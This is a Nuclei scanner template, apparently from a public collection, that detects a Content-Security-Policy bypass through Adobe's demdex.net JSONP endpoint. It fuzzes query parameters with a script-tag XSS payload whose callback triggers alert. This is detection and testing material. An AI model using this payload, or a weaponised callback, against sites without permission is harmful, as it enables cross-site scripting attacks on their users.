id: demdex-dpm-csp-bypass

info:
  name: Content-Security-Policy Bypass - Demdex DPM
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,demdex-dpm

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "demdex.net"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: demdex_dpm_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://dpm.demdex.net/id?d_cb=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "demdex_dpm_csp_xss == true"
# digest: 4a0a004730450221009f843046817b20ec37b46c907e1402f964b358d6f05c5f0b23219a1ddd582e1002207ddc518360c814bbb980feb2a264e7452f18d46248d041cf248b94971a89bd3f:922c64590222798bb761d5b6d8e72950